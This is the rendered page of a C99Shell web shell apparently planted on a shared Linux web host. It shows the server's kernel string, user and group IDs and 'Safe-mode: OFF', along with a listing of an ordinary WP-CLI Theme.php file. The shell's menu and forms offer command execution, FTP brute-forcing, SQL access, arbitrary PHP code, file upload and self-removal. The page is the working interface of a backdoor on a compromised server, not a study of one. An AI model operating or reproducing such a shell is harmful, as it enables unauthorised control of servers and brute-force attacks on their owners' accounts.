!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/usr/local/wp/vendor/wp-cli/extension-command/src/WP_CLI/Fetchers/   drwxr-xr-x
Free 713.03 GB of 879.6 GB (81.06%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Theme.php (1.76 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace WP_CLI\Fetchers;

use WP_CLI\Utils;

/**
 * Fetch a WordPress theme based on one of its attributes.
 */
class Theme extends Base {

    /**
     * @var string $msg Error message to use when invalid data is provided
     */
    protected $msg = "The '%s' theme could not be found.";

    /**
     * Get a theme object by name
     *
     * @param string $name
     * @return object|false
     */
    public function get( $name ) {
        // Workaround to equalize folder naming conventions across Win/Mac/Linux.
        // Returns false if theme stylesheet doesn't exactly match existing themes.
        $existing_themes      = wp_get_themes( array( 'errors' => null ) );
        $existing_stylesheets = array_keys( $existing_themes );
        if ( ! in_array( $name, $existing_stylesheets, true ) ) {
            $inexact_match = $this->find_inexact_match( $name, $existing_themes );
            if ( false !== $inexact_match ) {
                $this->msg .= sprintf( " Did you mean '%s'?", $inexact_match );
            }
            return false;
        }

        $theme = $existing_themes[ $name ];

        return $theme;
    }

    /**
     * Find and return the key in $existing_themes that matches $name with
     * a case insensitive string comparison.
     *
     * @param string $name Name of theme received by command.
     * @param array  $existing_themes Key/value pair of existing themes, key is
     *                                a case sensitive name.
     * @return string|boolean Case sensitive name if match found, otherwise false.
     */
    private function find_inexact_match( $name, $existing_themes ) {
        $target = strtolower( $name );
        $themes = array_map( 'strtolower', array_keys( $existing_themes ) );

        if ( in_array( $target, $themes, true ) ) {
            return $target;
        }

        $suggestion = Utils\get_suggestion( $target, $themes );

        if ( '' !== $suggestion ) {
            return $suggestion;
        }

        return false;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0318 ]--